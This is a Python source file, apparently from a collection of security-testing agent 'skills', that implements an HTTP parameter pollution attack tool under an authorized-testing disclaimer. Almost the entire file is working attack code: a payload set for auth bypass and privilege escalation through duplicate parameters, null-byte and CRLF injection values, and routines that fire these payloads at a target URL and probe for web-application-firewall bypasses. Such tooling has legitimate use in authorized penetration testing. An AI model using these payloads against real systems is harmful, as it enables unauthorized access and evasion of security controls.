Files
T
mukul975 c47eed6a64 Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands
- Fix 49 verify=False in defensive skills (env-var override)
- Add timeout to 231 HTTP/subprocess/socket calls
- Fix 6 SQL injection patterns with whitelist validation
- Replace 8 __import__() with standard imports
- Remove 701 unused imports across 442 files
- Add authorized-testing disclaimers to all offensive skills
- Complete 11 incomplete skill directories
- Expand 10 stub SKILL.md files with full content
- Fix 2 YAML parse errors in frontmatter
- Fix 5 pre-existing syntax errors
- Convert 22 hardcoded paths/ports to environment variables
- Back up 21 redundant skill pairs to .bak
- Fix 2 global declaration errors
- 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE)
- 0 compile errors across all 724 agent.py files
2026-03-19 13:26:49 +01:00

156 lines
7.0 KiB
Python

#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for performing HTTP parameter pollution (HPP) attack testing."""
import json
import argparse
try:
import requests
except ImportError:
requests = None
HPP_PAYLOADS = {
"duplicate_param": [
{"params": "id=1&id=2", "desc": "Duplicate parameter — tests server-side precedence"},
{"params": "user=admin&user=guest", "desc": "Duplicate user param — tests auth bypass"},
{"params": "action=view&action=delete", "desc": "Action override — tests privilege escalation"},
],
"encoding_bypass": [
{"params": "id=1%26admin%3Dtrue", "desc": "URL-encoded & and = inside value"},
{"params": "id=1%00&admin=true", "desc": "Null byte injection with extra param"},
{"params": "search=test%0d%0ainjected:header", "desc": "CRLF injection in param value"},
],
"array_syntax": [
{"params": "id[]=1&id[]=2", "desc": "PHP array syntax duplicate"},
{"params": "id=1,2,3", "desc": "Comma-separated values"},
{"params": "items[0]=a&items[1]=b", "desc": "Indexed array parameters"},
],
}
def test_parameter_precedence(url, param_name="id", headers=None):
"""Test which parameter value the server uses when duplicated."""
hdrs = headers or {}
results = []
test_pairs = [("FIRST", "SECOND"), ("admin", "guest"), ("1", "99999")]
for val1, val2 in test_pairs:
full_url = f"{url}?{param_name}={val1}&{param_name}={val2}"
try:
resp = requests.get(full_url, headers=hdrs, timeout=10, allow_redirects=False)
body = resp.text[:2000]
uses_first = val1 in body and val2 not in body
uses_last = val2 in body and val1 not in body
uses_both = val1 in body and val2 in body
precedence = "FIRST" if uses_first else "LAST" if uses_last else "BOTH" if uses_both else "UNKNOWN"
results.append({
"values": [val1, val2], "precedence": precedence,
"status": resp.status_code, "content_length": len(body),
})
except Exception as e:
results.append({"values": [val1, val2], "error": str(e)})
return {"url": url, "param": param_name, "precedence_tests": results}
def test_hpp_payloads(url, method="GET", headers=None):
"""Send HPP test payloads and analyze responses."""
hdrs = headers or {}
results = []
baseline = None
try:
baseline_resp = requests.get(url, headers=hdrs, timeout=10)
baseline = {"status": baseline_resp.status_code, "length": len(baseline_resp.text)}
except Exception:
pass
for category, payloads in HPP_PAYLOADS.items():
for payload in payloads:
try:
if method == "GET":
test_url = f"{url}?{payload['params']}" if "?" not in url else f"{url}&{payload['params']}"
resp = requests.get(test_url, headers=hdrs, timeout=10, allow_redirects=False)
else:
resp = requests.post(url, data=payload["params"], headers={**hdrs, "Content-Type": "application/x-www-form-urlencoded"}, timeout=10)
anomaly = False
if baseline:
anomaly = abs(len(resp.text) - baseline["length"]) > 100 or resp.status_code != baseline["status"]
results.append({
"category": category, "payload": payload["params"],
"desc": payload["desc"], "status": resp.status_code,
"response_length": len(resp.text), "anomaly": anomaly,
})
except Exception as e:
results.append({"category": category, "payload": payload["params"], "error": str(e)})
anomalies = [r for r in results if r.get("anomaly")]
return {
"url": url, "method": method, "baseline": baseline,
"total_tests": len(results), "anomalies_found": len(anomalies),
"results": results, "anomaly_details": anomalies,
"finding": "HPP_VULNERABLE" if anomalies else "HPP_NOT_DETECTED",
"severity": "MEDIUM" if anomalies else "INFO",
}
def test_waf_bypass(url, blocked_param, blocked_value, headers=None):
"""Test if HPP can bypass WAF parameter filtering."""
hdrs = headers or {}
tests = [
{"name": "direct", "params": {blocked_param: blocked_value}},
{"name": "duplicate_first", "params": f"{blocked_param}=benign&{blocked_param}={blocked_value}"},
{"name": "duplicate_last", "params": f"{blocked_param}={blocked_value}&{blocked_param}=benign"},
{"name": "encoded", "params": {blocked_param: blocked_value.replace("'", "%27").replace("<", "%3C")}},
{"name": "array", "params": f"{blocked_param}[]={blocked_value}"},
]
results = []
for test in tests:
try:
if isinstance(test["params"], dict):
resp = requests.get(url, params=test["params"], headers=hdrs, timeout=10, allow_redirects=False)
else:
resp = requests.get(f"{url}?{test['params']}", headers=hdrs, timeout=10, allow_redirects=False)
blocked = resp.status_code in (403, 406, 429) or "blocked" in resp.text.lower()[:500]
results.append({"name": test["name"], "status": resp.status_code, "blocked_by_waf": blocked})
except Exception as e:
results.append({"name": test["name"], "error": str(e)})
bypasses = [r for r in results if not r.get("blocked_by_waf") and not r.get("error") and r.get("status") == 200]
return {
"url": url, "param": blocked_param, "tests": results,
"bypass_found": len(bypasses) > 1,
"bypass_methods": [b["name"] for b in bypasses],
}
def main():
if not requests:
print(json.dumps({"error": "requests not installed"}))
return
parser = argparse.ArgumentParser(description="HTTP Parameter Pollution Attack Agent")
sub = parser.add_subparsers(dest="command")
p = sub.add_parser("precedence", help="Test parameter precedence")
p.add_argument("--url", required=True)
p.add_argument("--param", default="id")
t = sub.add_parser("test", help="Run HPP payload tests")
t.add_argument("--url", required=True)
t.add_argument("--method", default="GET", choices=["GET", "POST"])
w = sub.add_parser("waf", help="Test WAF bypass with HPP")
w.add_argument("--url", required=True)
w.add_argument("--param", required=True)
w.add_argument("--value", required=True)
args = parser.parse_args()
if args.command == "precedence":
result = test_parameter_precedence(args.url, args.param)
elif args.command == "test":
result = test_hpp_payloads(args.url, args.method)
elif args.command == "waf":
result = test_waf_bypass(args.url, args.param, args.value)
else:
parser.print_help()
return
print(json.dumps(result, indent=2, default=str))
if __name__ == "__main__":
main()